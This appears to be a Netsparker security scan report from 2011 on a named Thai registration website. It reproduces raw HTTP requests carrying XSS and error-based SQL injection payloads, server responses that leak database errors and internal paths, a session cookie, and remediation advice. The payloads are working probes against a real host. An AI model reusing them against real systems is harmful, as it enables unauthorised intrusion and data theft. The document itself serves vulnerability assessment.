System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
Netsparker believes that there is a XSS (Cross-site Scripting) in here it could not confirm it. We strongly recommend investigating the issue manually to ensure that it is an XSS (Cross-site Scripting) and needs to be addressed.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.
Remedy
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered / encoded. Output should be filtered / encoded according to the output format and location.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
This page responses with HTTP redirect status therefore detected XSS vulnerability might not be exploitable in many conditions however it still indicates lack of correct filtering and should be addressed.
Request
POST /semreg/detail.aspx?ow='%20stYle=x:expre/**/ssion(netsparker(9))%20ns='%20&cs=S0001&sn=0049 HTTP/1.1 Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: register2.set.or.th Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk Content-Length: 446 Accept-Encoding: gzip, deflate
This page responses with HTTP redirect status therefore detected XSS vulnerability might not be exploitable in many conditions however it still indicates lack of correct filtering and should be addressed.
Request
POST /semreg/detail.aspx?ow=FKH&cs='%20stYle=x:expre/**/ssion(netsparker(9))%20ns='%20&sn=0049 HTTP/1.1 Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: register2.set.or.th Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk Content-Length: 446 Accept-Encoding: gzip, deflate
This page responses with HTTP redirect status therefore detected XSS vulnerability might not be exploitable in many conditions however it still indicates lack of correct filtering and should be addressed.
Request
POST /semreg/detail.aspx?ow=FKH&cs=S0001&sn='%20stYle='x:expre/**/ssion(netsparker(9)) HTTP/1.1 Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: register2.set.or.th Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk Content-Length: 446 Accept-Encoding: gzip, deflate
HTTP/1.1 302 Found Server: Microsoft-IIS/5.0 Date: Tue, 03 May 2011 14:05:43 GMT X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Location: ./enroll.aspx?ow=FKH&cs=S0001&sn=' stYle='x:expre/**/ssion(netsparker(9)) Cache-Control: private Content-Type: text/html; charset=windows-874 Content-Length: 198
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href='./enroll.aspx?ow=FKH&cs=S0001&sn=' stYle='x:expre/**/ssion(netsparker(9))'>here</a>.</h2> </body></html>
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.
Impact
The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.
Remedy
Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'S0001'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Line 1: Incorrect syntax near 'S0001'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.
Actions to Take
See the remedy for solution
Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Remedy
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.
Netsparker identified that the target web server is disclosing ASP.NET version in the HTTP response. This information can help an attacker to develop further attacks and also the system can become an easier target for automated attacks. It was leaked from X-AspNet-Version banner of HTTP response or default ASP.NET error page.
Impact
An attacker can use disclosed information to harvest specific security vulnerabilities for the version identified. The attacker can also use this information in conjunction with the other vulnerabilities in the application or web server.
Remedy
Apply the following changes on your web.config file to prevent information leakage by using custom error pages and removing X-AspNet-Version from HTTP responses.
The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.
Remedy
Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'S0001'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Line 1: Incorrect syntax near 'S0001'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
Netsparker identified that the TRACE/TRACK method is allowed.
Impact
If the application is vulnerable to Cross-site Scripting and uses Http-Only Cookies then an attacker can bypass the Http-Only cookies limitation and read the cookies in an XSS attack.
Remedy
Disable this method in all production systems. Even though the application is not vulnerable to Cross-site Scripting a debugging feature such as TRACE/TRACK should not be required in a production system and therefore should be disabled.
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'S0001'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Line 1: Incorrect syntax near 'S0001'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
Netsparker identified that the target web application doesn't use encryption on ViewState data.
Impact
An attacker can study the application's state management logic for possible vulnerabilities and if your application stores application-critical information in the ViewState; it will also be revealed.
Remedy
ASP.NET provides encryption for ViewState parameters.
For page based protection, place the following directive at the top of affected page.
<%@Page ViewStateEncryptionMode="Always" %>
You can also set this option for the whole application by using web.config files. Apply the following configuration for your application's web.config file.
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. However this issue could not be confirmed by Netsparker. Netsparker believes that this was not an SQL Injection however there were some indications of a possible SQL Injection. There can be numerous reasons for Netsparker not being able to confirm it. We strongly recommend investigating the issue manually. You can also consider sending the details of this issue to us, so we can address this issue for the next time and give you a more precise result.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Remedy
A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'CHAR'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Line 1: Incorrect syntax near 'CHAR'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
sn
GET
0049
Request
GET /semreg/detail.aspx?ow=FKH&cs='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&sn=0049 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: register2.set.or.th Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Tue, 03 May 2011 13:48:01 GMT X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=windows-874 Content-Length: 5076
<html> <head> <title>Incorrect syntax near the keyword 'AND'.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Lucida Console";font-size: .9em} .marker {font-weight: bold; color: black;text-decoration: none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; } </style> </head>
<body bgcolor="white">
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Incorrect syntax near the keyword 'AND'.</i> </h2></span>
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Incorrect syntax near the keyword 'AND'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Incorrect syntax near the keyword 'AND'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:line 129 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
Request
GET /semreg/detail.aspx?ow=FKH&cs=S0001&sn='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B' HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: register2.set.or.th Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Server: Microsoft-IIS/5.0 Date: Tue, 03 May 2011 13:56:50 GMT X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=windows-874 Content-Length: 5076
<html> <head> <title>Incorrect syntax near the keyword 'AND'.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Lucida Console";font-size: .9em} .marker {font-weight: bold; color: black;text-decoration: none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; } </style> </head>
<body bgcolor="white">
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Incorrect syntax near the keyword 'AND'.</i> </h2></span>
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Incorrect syntax near the keyword 'AND'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Incorrect syntax near the keyword 'AND'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:line 129 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'CHAR'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Line 1: Incorrect syntax near 'CHAR'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'CHAR'.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Line 1: Incorrect syntax near 'CHAR'. at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
GET / HTTP/1.1 Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: register2.set.or.th Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 403 Access Forbidden Server: Microsoft-IIS/5.0 Date: Tue, 03 May 2011 13:34:53 GMT Connection: close Content-Type: text/html Content-Length: 172
<html><head><title>Directory Listing Denied</title></head><body><h1>Directory Listing Denied</h1>This Virtual Directory does not allow contents to be listed.</body></html>
Netsparker identified that the target web site is using Microsoft SQL Server as backend database. This issue is reported for information purposes only.
Impact
This issue is reported as additional information only, there is no direct impact arising from this issue.
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573
</font>
</body> </html> <!-- [SqlException]: Syntax error converting the varchar value '_!@2dilemma' to a column of data type int. at System.Data.SqlClient.SqlDataReader.Read() at System.Data.Common.DbDataAdapter.FillLoadDataRow(SchemaMapping mapping) at System.Data.Common.DbDataAdapter.FillFromReader(Object data, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords, DataColumn parentChapterColumn, Object parentChapterValue) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable, IDataReader dataReader, Int32 startRecord, Int32 maxRecords) at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215 at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) -->
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.
Impact
An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.
Remediation
Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
